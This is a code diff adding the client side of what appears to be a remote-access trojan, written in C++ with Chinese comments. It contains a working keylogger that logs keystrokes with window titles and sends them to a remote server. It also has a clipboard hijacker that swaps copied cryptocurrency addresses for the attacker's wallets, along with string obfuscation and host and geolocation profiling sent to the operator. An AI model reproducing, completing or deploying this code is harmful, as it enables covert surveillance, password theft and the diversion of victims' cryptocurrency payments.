{
int nRet = -1;
DWORD dwBytesLength = 1 + nSize;
GET_PROCESS(DLLS[KERNEL], LocalAlloc);
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
memcpy(lpBuffer + 1, lpData, nSize);
nRet = CManager::Send((LPBYTE)lpBuffer, dwBytesLength);
GET_PROCESS(DLLS[KERNEL], LocalFree);
LocalFree(lpBuffer);
return nRet;
}
std::string GetKey(int Key) // 判断键盘按下什么键
{
GET_PROCESS(DLLS[USER32], GetKeyState);
std::string KeyString = "";
//判断符号输入
const int KeyPressMask=0x80000000; //键盘掩码常量
int iShift=GetKeyState(0x10); //判断Shift键状态
bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键
if(Key >=186 && Key <=222) {
switch(Key) {
case 186:
if(IS)
KeyString = skCrypt(":");
else
KeyString = skCrypt(";");
break;
case 187:
if(IS)
KeyString = skCrypt("+");
else
KeyString = skCrypt("=");
break;
case 188:
if(IS)
KeyString = skCrypt("<");
else
KeyString = skCrypt(",");
break;
case 189:
if(IS)
KeyString = skCrypt("_");
else
KeyString = skCrypt("-");
break;
case 190:
if(IS)
KeyString = skCrypt(">");
else
KeyString = skCrypt(".");
break;
case 191:
if(IS)
KeyString = skCrypt("?");
else
KeyString = skCrypt("/");
break;
case 192:
if(IS)
KeyString = skCrypt("~");
else
KeyString = skCrypt("`");
break;
case 219:
if(IS)
KeyString = skCrypt("{");
else
KeyString = skCrypt("[");
break;
case 220:
if(IS)
KeyString = skCrypt("|");
else
KeyString = skCrypt("\\");
break;
case 221:
if(IS)
KeyString = skCrypt("}");
else
KeyString = skCrypt("]");
break;
case 222:
if(IS)
KeyString = '"';
else
KeyString = skCrypt("'");
break;
}
}
//判断键盘的第一行
if (Key == VK_ESCAPE) // 退出
KeyString = skCrypt("[Esc]");
else if (Key == VK_F1) // F1至F12
KeyString = skCrypt("[F1]");
else if (Key == VK_F2)
KeyString = skCrypt("[F2]");
else if (Key == VK_F3)
KeyString = skCrypt("[F3]");
else if (Key == VK_F4)
KeyString = skCrypt("[F4]");
else if (Key == VK_F5)
KeyString = skCrypt("[F5]");
else if (Key == VK_F6)
KeyString = skCrypt("[F6]");
else if (Key == VK_F7)
KeyString = skCrypt("[F7]");
else if (Key == VK_F8)
KeyString = skCrypt("[F8]");
else if (Key == VK_F9)
KeyString = skCrypt("[F9]");
else if (Key == VK_F10)
KeyString = skCrypt("[F10]");
else if (Key == VK_F11)
KeyString = skCrypt("[F11]");
else if (Key == VK_F12)
KeyString = skCrypt("[F12]");
else if (Key == VK_SNAPSHOT) // 打印屏幕
KeyString = skCrypt("[PrScrn]");
else if (Key == VK_SCROLL) // 滚动锁定
KeyString = skCrypt("[Scroll Lock]");
else if (Key == VK_PAUSE) // 暂停、中断
KeyString = skCrypt("[Pause]");
else if (Key == VK_CAPITAL) // 大写锁定
KeyString = skCrypt("[Caps Lock]");
//-------------------------------------//
//控制键
else if (Key == 8) //<- 回格键
KeyString = skCrypt("[Backspace]");
else if (Key == VK_RETURN) // 回车键、换行
KeyString = skCrypt("[Enter]\n");
else if (Key == VK_SPACE) // 空格
KeyString = skCrypt(" ");
//上档键:键盘记录的时候可以不记录。单独的Shift是不会有任何字符
//上档键和别的键组合,输出时有字符输出
/*
else if (Key == VK_LSHIFT) // 左侧上档键
KeyString = skCrypt("[Shift]");
else if (Key == VK_LSHIFT) // 右侧上档键
KeyString = skCrypt("[SHIFT]");
*/
/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
else if (Key == VK_TAB) // 制表键
KeyString = skCrypt("[Tab]");
else if (Key == VK_LCONTROL) // 左控制键
KeyString = skCrypt("[Ctrl]");
else if (Key == VK_RCONTROL) // 右控制键
KeyString = skCrypt("[CTRL]");
else if (Key == VK_LMENU) // 左换档键
KeyString = skCrypt("[Alt]");
else if (Key == VK_LMENU) // 右换档键
KeyString = skCrypt("[ALT]");
else if (Key == VK_LWIN) // 右 WINDOWS 键
KeyString = skCrypt("[Win]");
else if (Key == VK_RWIN) // 右 WINDOWS 键
KeyString = skCrypt("[WIN]");
else if (Key == VK_APPS) // 键盘上 右键
KeyString = skCrypt("右键");
else if (Key == VK_INSERT) // 插入
KeyString = skCrypt("[Insert]");
else if (Key == VK_DELETE) // 删除
KeyString = skCrypt("[Delete]");
else if (Key == VK_HOME) // 起始
KeyString = skCrypt("[Home]");
else if (Key == VK_END) // 结束
KeyString = skCrypt("[End]");
else if (Key == VK_PRIOR) // 上一页
KeyString = skCrypt("[PgUp]");
else if (Key == VK_NEXT) // 下一页
KeyString = skCrypt("[PgDown]");
// 不常用的几个键:一般键盘没有
else if (Key == VK_CANCEL) // Cancel
KeyString = skCrypt("[Cancel]");
else if (Key == VK_CLEAR) // Clear
KeyString = skCrypt("[Clear]");
else if (Key == VK_SELECT) //Select
KeyString = skCrypt("[Select]");
else if (Key == VK_PRINT) //Print
KeyString = skCrypt("[Print]");
else if (Key == VK_EXECUTE) //Execute
KeyString = skCrypt("[Execute]");
//----------------------------------------//
else if (Key == VK_LEFT) //上、下、左、右键
KeyString = skCrypt("[←]");
else if (Key == VK_RIGHT)
KeyString = skCrypt("[→]");
else if (Key == VK_UP)
KeyString = skCrypt("[↑]");
else if (Key == VK_DOWN)
KeyString = skCrypt("[↓]");
else if (Key == VK_NUMLOCK)//小键盘数码锁定
KeyString = skCrypt("[NumLock]");
else if (Key == VK_ADD) // 加、减、乘、除
KeyString = skCrypt("+");
else if (Key == VK_SUBTRACT)
KeyString = skCrypt("-");
else if (Key == VK_MULTIPLY)
KeyString = skCrypt("*");
else if (Key == VK_DIVIDE)
KeyString = skCrypt("/");
else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
KeyString = skCrypt(".");
//小键盘数字键:0-9
else if (Key == VK_NUMPAD0)
KeyString = skCrypt("0");
else if (Key == VK_NUMPAD1)
KeyString = skCrypt("1");
else if (Key == VK_NUMPAD2)
KeyString = skCrypt("2");
else if (Key == VK_NUMPAD3)
KeyString = skCrypt("3");
else if (Key == VK_NUMPAD4)
KeyString = skCrypt("4");
else if (Key == VK_NUMPAD5)
KeyString = skCrypt("5");
else if (Key == VK_NUMPAD6)
KeyString = skCrypt("6");
else if (Key == VK_NUMPAD7)
KeyString = skCrypt("7");
else if (Key == VK_NUMPAD8)
KeyString = skCrypt("8");
else if (Key == VK_NUMPAD9)
KeyString = skCrypt("9");
//-------------------------------------------//
//-------------------------------------------//
//*对字母的大小写进行判断*//
else if (Key >=97 && Key <= 122) { // 字母:a-z
if (GetKeyState(VK_CAPITAL)) { // 大写锁定
if(IS) //Shift按下:为小写字母
KeyString = Key;
else // 只有大写锁定:输出大写字母
KeyString = Key - 32;
} else { // 大写没有锁定
if(IS) // 按下Shift键: 大写字母
KeyString = Key - 32;
else // 没有按Shift键: 小写字母
KeyString = Key;
}
} else if (Key >=48 && Key <= 57) { // 键盘数字:0-9及上方的符号
if(IS) {
switch(Key) {
case 48: //0
KeyString = skCrypt(")");
break;
case 49://1
KeyString = skCrypt("!");
break;
case 50://2
KeyString = skCrypt("@");
break;
case 51://3
KeyString = skCrypt("#");
break;
case 52://4
KeyString = skCrypt("$");
break;
case 53://5
KeyString = skCrypt("%");
break;
case 54://6
KeyString = skCrypt("^");
break;
case 55://7
KeyString = skCrypt("&");
break;
case 56://8
KeyString = skCrypt("*");
break;
case 57://9
KeyString = skCrypt("(");
break;
}
} else
KeyString = Key;
}
if (Key != VK_LBUTTON || Key != VK_RBUTTON) {
if (Key >=65 && Key <=90) { //ASCII 65-90 为A-Z
if (GetKeyState(VK_CAPITAL)) { // 大写锁定:输出A-Z
if(IS) // 大写锁定,并且按下上档键:输出为小写字母
KeyString = Key + 32;
else //只有大写锁定:输出为大写字母
KeyString = Key;
} else { // 大写没有锁定:a-z
if(IS) {
KeyString = Key;
} else {
Key = Key + 32;
KeyString = Key;
}
}
}
}
return KeyString;
}
BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData)
{
GET_PROCESS(DLLS[USER32], GetForegroundWindow);
HWND hFocus = (HWND)GetForegroundWindow();
BOOL ReturnFlag = FALSE;
if (hFocus != PreviousFocus) {
if (lstrlen(WindowCaption) > 0) {
if (hasData) {
SYSTEMTIME s;
GetLocalTime(&s);
sprintf(szText, _T("\r\n[Title:] %s\r\n[Time:]%d-%02d-%02d %02d:%02d:%02d\r\n"),
WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
}
memset(WindowCaption, 0, CAPTION_SIZE);
ReturnFlag=TRUE;
}
PreviousFocus = hFocus;
GET_PROCESS_EASY(SendMessageA);
SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption);
}
return ReturnFlag;
}
DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam)
{
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
int pos = 0;
while(pThis->m_bIsWorking) {
if (!pThis->IsConnected()) {
pos = 0;
Sleep(1000);
continue;
}
int size = 0;
char* lpBuffer = pThis->m_Buffer->Read(pos, size);
if (size) {
int nRet = pThis->sendKeyBoardData((LPBYTE)lpBuffer, size);
delete[] lpBuffer;
}
Sleep(1000);
}
return 0;
}
int CALLBACK WriteBuffer(const char* record, void* user)
{
CircularBuffer* m_Buffer = (CircularBuffer*)user;
m_Buffer->Write(record, strlen(record));
return 0;
}
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
{
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
while (pThis->m_bIsWorking) {
auto w = pThis->GetWallet();
if (w.empty()) {
Sleep(1000);
continue;
}
bool hasClipboard = false;
try {
hasClipboard = clip::has(clip::text_format());
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
hasClipboard = false;
Sleep(3000);
}
if (hasClipboard) {
std::string value;
clip::get_text(value);
if (value.length() > 200) {
Sleep(1000);
continue;
}
auto type = detectWalletType(value);
switch (type) {
case WALLET_UNKNOWN:
break;
case WALLET_BTC_P2PKH:
case WALLET_BTC_P2SH:
case WALLET_BTC_BECH32:
if (!w[ADDR_BTC].empty()) clip::set_text(w[ADDR_BTC]);
break;
case WALLET_ETH_ERC20:
if (!w[ADDR_ERC20].empty()) clip::set_text(w[ADDR_ERC20]);
break;
case WALLET_USDT_OMNI:
if (!w[ADDR_OMNI].empty()) clip::set_text(w[ADDR_OMNI]);
break;
case WALLET_USDT_TRC20:
if (!w[ADDR_TRC20].empty()) clip::set_text(w[ADDR_TRC20]);
break;
case WALLET_TRON:
if (!w[ADDR_TRON].empty()) clip::set_text(w[ADDR_TRON]);
break;
case WALLET_SOLANA:
if (!w[ADDR_SOL].empty()) clip::set_text(w[ADDR_SOL]);
break;
case WALLET_XRP:
if (!w[ADDR_XRP].empty()) clip::set_text(w[ADDR_XRP]);
break;
case WALLET_POLKADOT:
if (!w[ADDR_DOT].empty()) clip::set_text(w[ADDR_DOT]);
break;
case WALLET_CARDANO_SHELLEY:
case WALLET_CARDANO_BYRON:
if (!w[ADDR_ADA].empty()) clip::set_text(w[ADDR_ADA]);
break;
case WALLET_DOGE:
if (!w[ADDR_DOGE].empty()) clip::set_text(w[ADDR_DOGE]);
break;
}
}
Sleep(1000);
}
return 0x20251005;
}
DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
{
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
MSG msg;
TCHAR KeyBuffer[2048] = {};
TCHAR szText[CAPTION_SIZE] = {};
TCHAR WindowCaption[CAPTION_SIZE] = {};
HWND PreviousFocus = NULL;
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
HDESK desktop = NULL;
clock_t lastCheck = 0;
while(pThis->m_bIsWorking) {
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
#if USING_KB_HOOK
ReleaseHook();
#endif
Sleep(1000);
continue;
}
Sleep(5);
#if USING_KB_HOOK
clock_t now = clock();
if (now - lastCheck > 1000) {
lastCheck = now;
HDESK hInputDesk = IsDesktopChanged(desktop, DESKTOP_READOBJECTS |
DESKTOP_WRITEOBJECTS | DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD);
if (hInputDesk) {
ReleaseHook();
if (desktop) {
CloseDesktop(desktop);
}
desktop = hInputDesk;
if (!SetThreadDesktop(desktop)) {
Mprintf("SetThreadDesktop failed: %d\n", GetLastError());
}
}
}
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
return -1;
}
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
#else
int num = lstrlen(KeyBuffer);
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
bool newWindowInput = strlen(szText);
if (newWindowInput) { // 在新的窗口有键盘输入
lstrcat(KeyBuffer, szText);
memset(szText, 0, sizeof(szText));
}
if (lstrlen(KeyBuffer) > 0) {
if (!newWindowInput)
lstrcat(KeyBuffer, _T("\r\n"));
const int offset = sizeof(_T("\r\n[Content:]")) - 1;
memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
memcpy(KeyBuffer, _T("\r\n[Content:]"), offset);
pThis->m_Buffer->Write(KeyBuffer, strlen(KeyBuffer));
memset(KeyBuffer,0,sizeof(KeyBuffer));
}
}
for(int i = 8; i <= 255; i++) {
if((GetAsyncKeyState(i)&1) == 1) {
std::string TempString = GetKey (i);
lstrcat(KeyBuffer,TempString.c_str());
}
}
#endif
}
return 0;
}
#endif

259
client/KeyboardManager.h Normal file
View File

@@ -0,0 +1,259 @@
// KeyboardManager.h: interface for the CKeyboardManager class.
//
//////////////////////////////////////////////////////////////////////
#pragma once
#include "Manager.h"
#include "stdafx.h"
#define KEYLOG_FILE "keylog.xml"
#if ENABLE_KEYBOARD==0
#define CKeyboardManager1 CManager
#else
#define BUFFER_SIZE 10*1024*1024
// 循环缓存
class CircularBuffer
{
private:
char* m_buffer; // 缓冲区
int m_size; // 缓冲区大小
int m_write; // 写指针
int m_read; // 读指针
CRITICAL_SECTION m_cs; // 线程同步
char m_key; // 用于 XOR 加解密的密钥
public:
// 构造函数:从文件加载数据
CircularBuffer(const std::string& filename, int size = BUFFER_SIZE, char key = '`')
: m_size(size), m_write(0), m_read(0), m_key(key)
{
m_buffer = new char[m_size]();
InitializeCriticalSection(&m_cs);
LoadDataFromFile(filename);
}
// 析构函数:清理资源
~CircularBuffer()
{
DeleteCriticalSection(&m_cs);
delete[] m_buffer;
}
// 清空缓存
void Clear()
{
EnterCriticalSection(&m_cs);
// 重置读写指针
m_write = 0;
m_read = 0;
memset(m_buffer, 0, m_size);
LeaveCriticalSection(&m_cs);
}
// 加密/解密操作XOR
void XORData(char* data, int length)
{
for (int i = 0; i < length; i++) {
data[i] ^= m_key; // 用密钥进行 XOR 操作
}
}
// 从文件加载数据到缓冲区
bool LoadDataFromFile(const std::string& filename)
{
EnterCriticalSection(&m_cs);
// 打开文件
HANDLE hFile = CreateFileA(
filename.c_str(), // 文件路径
GENERIC_READ, // 只读权限
0, // 不共享
NULL, // 默认安全属性
OPEN_EXISTING, // 文件必须存在
FILE_ATTRIBUTE_NORMAL, // 常规文件属性
NULL // 不需要模板文件
);
if (hFile == INVALID_HANDLE_VALUE) {
LeaveCriticalSection(&m_cs);
Mprintf("Failed to open file '%s' for reading\n", filename.c_str());
return false;
}
// 读取文件数据
DWORD bytesRead = 0;
while (m_write < m_size) {
if (!ReadFile(hFile, m_buffer + m_write, m_size - m_write, &bytesRead, NULL) || bytesRead == 0) {
break;
}
XORData(m_buffer + m_write, bytesRead); // 解密数据
m_write = (m_write + bytesRead) % m_size;
}
// 关闭文件句柄
SAFE_CLOSE_HANDLE(hFile);
LeaveCriticalSection(&m_cs);
return true;
}
// 写入数据(如果缓冲区满了,从头部覆盖写入)
int Write(const char* data, int length)
{
EnterCriticalSection(&m_cs);
for (int i = 0; i < length; i++) {
m_buffer[m_write] = data[i];
m_write = (m_write + 1) % m_size;
// 当写指针追上读指针时,前移读指针实现覆盖写入
if (m_write == m_read) {
m_read = (m_read + 1) % m_size;
}
}
LeaveCriticalSection(&m_cs);
return length; // 返回实际写入的字节数
}
// 从指定位置开始读取数据
char* Read(int &pos, int &bytesRead)
{
EnterCriticalSection(&m_cs);
if (pos == 0) {
m_read = m_write + 1;
while (m_read < m_size && m_buffer[m_read] == 0) m_read++;
if (m_read == m_size) m_read = 0;
} else {
m_read = pos;
}
int size = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write));
char* outBuffer = size ? new char[size] : NULL;
for (int i = 0; i < size; i++) {
if (m_read == m_write) { // 缓冲区为空
break;
}
outBuffer[i] = m_buffer[m_read];
m_read = (m_read + 1) % m_size;
bytesRead++;
}
pos = m_write;
LeaveCriticalSection(&m_cs);
return outBuffer; // 返回实际读取的字节数
}
// 将缓存中所有数据写入文件(加密)
bool WriteAvailableDataToFile(const std::string& filename)
{
EnterCriticalSection(&m_cs);
// 获取所有数据的大小
m_read = m_write + 1;
while (m_read < m_size && m_buffer[m_read] == 0) m_read++;
if (m_read == m_size) m_read = 0;
int totalSize = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write));
if (totalSize == 0) {
LeaveCriticalSection(&m_cs);
return true; // 没有数据可写入
}
// 打开文件以进行写入
HANDLE hFile = CreateFileA(
filename.c_str(), // 文件路径
GENERIC_WRITE, // 写权限
0, // 不共享
NULL, // 默认安全属性
CREATE_ALWAYS, // 如果文件存在则覆盖
FILE_ATTRIBUTE_NORMAL, // 常规文件属性
NULL // 不需要模板文件
);
if (hFile == INVALID_HANDLE_VALUE) {
LeaveCriticalSection(&m_cs);
return false; // 打开文件失败
}
// 写入缓冲区中的所有数据
int bytesWritten = 0;
DWORD bytesToWrite = totalSize;
const int size = 64*1024;
char *buffer = new char[size];
while (bytesWritten < totalSize) {
DWORD bufferSize = min(bytesToWrite, size);
// 填充缓冲区
for (int i = 0; i < bufferSize && m_read != m_write; ) {
buffer[i++] = m_buffer[m_read];
m_read = (m_read + 1) % m_size;
}
// 加密数据
XORData(buffer, bufferSize);
// 写入文件
DWORD bytesActuallyWritten = 0;
if (!WriteFile(hFile, buffer, bufferSize, &bytesActuallyWritten, NULL)) {
SAFE_CLOSE_HANDLE(hFile);
LeaveCriticalSection(&m_cs);
delete[] buffer;
return false; // 写入失败
}
bytesWritten += bytesActuallyWritten;
bytesToWrite -= bytesActuallyWritten;
}
delete[] buffer;
// 关闭文件句柄
SAFE_CLOSE_HANDLE(hFile);
LeaveCriticalSection(&m_cs);
return true;
}
};
class CKeyboardManager1 : public CManager
{
public:
CKeyboardManager1(IOCPClient*pClient, int offline, void* user=NULL);
virtual ~CKeyboardManager1();
virtual void Notify();
virtual void UpdateWallet(const std::string& wallet);
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
static DWORD WINAPI Clipboard(LPVOID lparam);
static DWORD WINAPI KeyLogger(LPVOID lparam);
static DWORD WINAPI SendData(LPVOID lparam);
BOOL m_bIsOfflineRecord;
HANDLE m_hClipboard;
HANDLE m_hWorkThread,m_hSendThread;
TCHAR m_strRecordFile[MAX_PATH];
virtual BOOL Reconnect()
{
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
}
private:
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
int sendStartKeyBoard();
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
bool m_bIsWorking;
CircularBuffer *m_Buffer;
CLocker m_mu;
std::vector<std::string> m_Wallet;
std::vector<std::string> GetWallet();
};
#undef BUFFER_SIZE
#endif

335
client/Loader.cpp Normal file

File diff suppressed because one or more lines are too long

379
client/LoginServer.cpp Normal file
View File

@@ -0,0 +1,379 @@
#include "StdAfx.h"
#include "LoginServer.h"
#include "Common.h"
#include <string>
#include <iostream>
#include <iomanip>
#include <ctime>
#include <NTSecAPI.h>
#include "common/skCrypter.h"
#include <common/iniFile.h>
#include <location.h>
#include "ScreenCapture.h"
std::string getSystemName()
{
typedef void(__stdcall* NTPROC)(DWORD*, DWORD*, DWORD*);
HINSTANCE hinst = LoadLibrary("ntdll.dll");
if (!hinst) {
return "未知操作系统";
}
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
if (!proc) {
FreeLibrary(hinst);
return "未知操作系统";
}
DWORD dwMajor, dwMinor, dwBuildNumber;
proc(&dwMajor, &dwMinor, &dwBuildNumber);
dwBuildNumber &= 0xFFFF; // 高位是标志位只取低16位
FreeLibrary(hinst);
// 判断是否为 Server 版本
OSVERSIONINFOEX osvi = { sizeof(osvi) };
GetVersionEx((OSVERSIONINFO*)&osvi);
bool isServer = (osvi.wProductType != VER_NT_WORKSTATION);
std::string vname;
if (dwMajor == 10 && dwMinor == 0) {
if (isServer) {
// Windows Server
if (dwBuildNumber >= 20348)
vname = "Windows Server 2022";
else if (dwBuildNumber >= 17763)
vname = "Windows Server 2019";
else
vname = "Windows Server 2016";
} else {
// Windows 桌面版
if (dwBuildNumber >= 22000)
vname = "Windows 11";
else
vname = "Windows 10";
}
} else if (dwMajor == 6) {
switch (dwMinor) {
case 3:
vname = isServer ? "Windows Server 2012 R2" : "Windows 8.1";
break;
case 2:
vname = isServer ? "Windows Server 2012" : "Windows 8";
break;
case 1:
vname = isServer ? "Windows Server 2008 R2" : "Windows 7";
break;
case 0:
vname = isServer ? "Windows Server 2008" : "Windows Vista";
break;
}
} else if (dwMajor == 5) {
switch (dwMinor) {
case 2:
vname = "Windows Server 2003";
break;
case 1:
vname = "Windows XP";
break;
case 0:
vname = "Windows 2000";
break;
}
}
if (vname.empty()) {
char buf[64];
sprintf(buf, "Windows (Build %d)", dwBuildNumber);
vname = buf;
}
Mprintf("此电脑的版本为:%s (Build %d)\n", vname.c_str(), dwBuildNumber);
return vname;
}
std::string formatTime(const FILETIME& fileTime)
{
// 转换为 64 位时间
ULARGE_INTEGER ull;
ull.LowPart = fileTime.dwLowDateTime;
ull.HighPart = fileTime.dwHighDateTime;
// 转换为秒级时间戳
std::time_t startTime = static_cast<std::time_t>((ull.QuadPart / 10000000ULL) - 11644473600ULL);
// 格式化输出
std::tm* localTime = std::localtime(&startTime);
char buffer[100];
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime);
return std::string(buffer);
}
std::string getProcessTime()
{
FILETIME creationTime, exitTime, kernelTime, userTime;
// 获取当前进程的时间信息
if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) {
return formatTime(creationTime);
}
std::time_t now = std::time(nullptr);
std::tm* t = std::localtime(&now);
char buffer[100];
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t);
return buffer;
}
int getOSBits()
{
SYSTEM_INFO si;
GetNativeSystemInfo(&si);
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) {
return 64;
} else {
return 32;
}
}
// 检查CPU核心数
// SYSTEM_INFO.dwNumberOfProcessors
int GetCPUCores()
{
INT i = 0;
#ifdef _WIN64
// 在 x64 下,我们需要使用 `NtQuerySystemInformation`
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
i = sysInfo.dwNumberOfProcessors; // 获取 CPU 核心数
#else
_asm { // x64编译模式下不支持__asm的汇编嵌入
mov eax, dword ptr fs : [0x18] ; // TEB
mov eax, dword ptr ds : [eax + 0x30] ; // PEB
mov eax, dword ptr ds : [eax + 0x64] ;
mov i, eax;
}
#endif
Mprintf("此计算机CPU核心: %d\n", i);
return i;
}
double GetMemorySizeGB()
{
_MEMORYSTATUSEX mst;
mst.dwLength = sizeof(mst);
GlobalMemoryStatusEx(&mst);
double GB = mst.ullTotalPhys / (1024.0 * 1024 * 1024);
Mprintf("此计算机内存: %fGB\n", GB);
return GB;
}
#pragma comment(lib, "Version.lib")
std::string GetCurrentExeVersion()
{
TCHAR filePath[MAX_PATH];
if (GetModuleFileName(NULL, filePath, MAX_PATH) == 0) {
return "Unknown";
}
DWORD handle = 0;
DWORD verSize = GetFileVersionInfoSize(filePath, &handle);
if (verSize == 0) {
return "Unknown";
}
std::vector<BYTE> verData(verSize);
if (!GetFileVersionInfo(filePath, handle, verSize, verData.data())) {
return "Unknown";
}
VS_FIXEDFILEINFO* pFileInfo = nullptr;
UINT len = 0;
if (!VerQueryValue(verData.data(), "\\", reinterpret_cast<LPVOID*>(&pFileInfo), &len)) {
return "Unknown";
}
if (pFileInfo) {
DWORD major = HIWORD(pFileInfo->dwFileVersionMS);
DWORD minor = LOWORD(pFileInfo->dwFileVersionMS);
DWORD build = HIWORD(pFileInfo->dwFileVersionLS);
DWORD revision = LOWORD(pFileInfo->dwFileVersionLS);
std::ostringstream oss;
oss << major << "." << minor << "." << build << "." << revision;
return "v" + oss.str();
}
return "Unknown";
}
std::string GetCurrentUserNameA()
{
char username[256];
DWORD size = sizeof(username);
if (GetUserNameA(username, &size)) {
return std::string(username);
} else {
return "Unknown";
}
}
#define XXH_INLINE_ALL
#include "common/xxhash.h"
// 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
{
std::string s;
for (int i = 0; i < 5; i++) {
s += clientInfo[i] + "|";
}
s.erase(s.length()-1);
return XXH64(s.c_str(), s.length(), 0);
}
BOOL IsAuthKernel(std::string &str) {
BOOL isAuthKernel = FALSE;
std::string pid = std::to_string(GetCurrentProcessId());
HANDLE hEvent1 = OpenEventA(SYNCHRONIZE, FALSE, std::string("YAMA_" + pid).c_str());
HANDLE hEvent2 = OpenEventA(SYNCHRONIZE, FALSE, std::string("EVENT_" + pid).c_str());
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
char buf[_MAX_PATH] = {};
GetModuleFileNameA(NULL, buf, sizeof(buf));
GetFileAttributesExA(buf, GetFileExInfoStandard, &fileInfo);
if ((hEvent1 != NULL || hEvent2 != NULL) && fileInfo.nFileSizeLow > 16 * 1024 * 1024) {
Mprintf("Check event handle: %d, %d\n", hEvent1 != NULL, hEvent2 != NULL);
isAuthKernel = TRUE;
config* cfg = IsDebug ? new config : new iniFile;
str = cfg->GetStr("settings", "Password", "");
delete cfg;
str.erase(std::remove(str.begin(), str.end(), ' '), str.end());
auto list = StringToVector(str, '-', 3);
str = list[1].empty() ? "Unknown" : list[1];
}
SAFE_CLOSE_HANDLE(hEvent1);
SAFE_CLOSE_HANDLE(hEvent2);
return isAuthKernel;
}
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string& expiredDate)
{
std::string str = expiredDate;
iniFile cfg(CLIENT_PATH);
LOGIN_INFOR LoginInfor;
LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
//获得操作系统信息
strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
//获得PCName
char szPCName[MAX_PATH] = {0};
gethostname(szPCName, MAX_PATH);
DWORD dwCPUMHz;
dwCPUMHz = CPUClockMHz();
BOOL bWebCamIsExist = WebCamIsExist();
std::string group = cfg.GetStr("settings", "group_name");
if (!group.empty())
strcpy_s(conn.szGroupName, group.c_str());
if (conn.szGroupName[0] == 0)
memcpy(LoginInfor.szPCName, szPCName, sizeof(LoginInfor.szPCName));
else
sprintf(LoginInfor.szPCName, "%s/%s", szPCName, conn.szGroupName);
LoginInfor.dwSpeed = dwSpeed;
LoginInfor.dwCPUMHz = dwCPUMHz;
LoginInfor.bWebCamIsExist = bWebCamIsExist;
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
LoginInfor.AddReserved(GetClientType(conn.ClientType())); // 类型
LoginInfor.AddReserved(getOSBits()); // 系统位数
LoginInfor.AddReserved(GetCPUCores()); // CPU核数
LoginInfor.AddReserved(GetMemorySizeGB()); // 系统内存
char buf[_MAX_PATH] = {};
GetModuleFileNameA(NULL, buf, sizeof(buf));
LoginInfor.AddReserved(buf); // 文件路径
LoginInfor.AddReserved("?"); // test
std::string installTime = cfg.GetStr("settings", "install_time");
if (installTime.empty()) {
installTime = ToPekingTimeAsString(nullptr);
cfg.SetStr("settings", "install_time", installTime);
}
LoginInfor.AddReserved(installTime.c_str()); // 安装时间
LoginInfor.AddReserved("?"); // 安装信息
LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数
std::string masterHash(skCrypt(MASTER_HASH));
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
GetFileAttributesExA(buf, GetFileExInfoStandard, &fileInfo);
LoginInfor.AddReserved(str.c_str()); // 授权信息
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
std::string loc = cfg.GetStr("settings", "location", "");
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
auto ip_time = cfg.GetInt("settings", "ip_time");
bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400);
IPConverter cvt;
if (loc.empty() || pubIP.empty() || timeout) {
pubIP = cvt.getPublicIP();
loc = cvt.GetGeoLocation(pubIP);
cfg.SetStr("settings", "location", loc);
cfg.SetStr("settings", "public_ip", pubIP);
cfg.SetInt("settings", "ip_time", time(0));
}
LoginInfor.AddReserved(loc.c_str());
LoginInfor.AddReserved(pubIP.c_str());
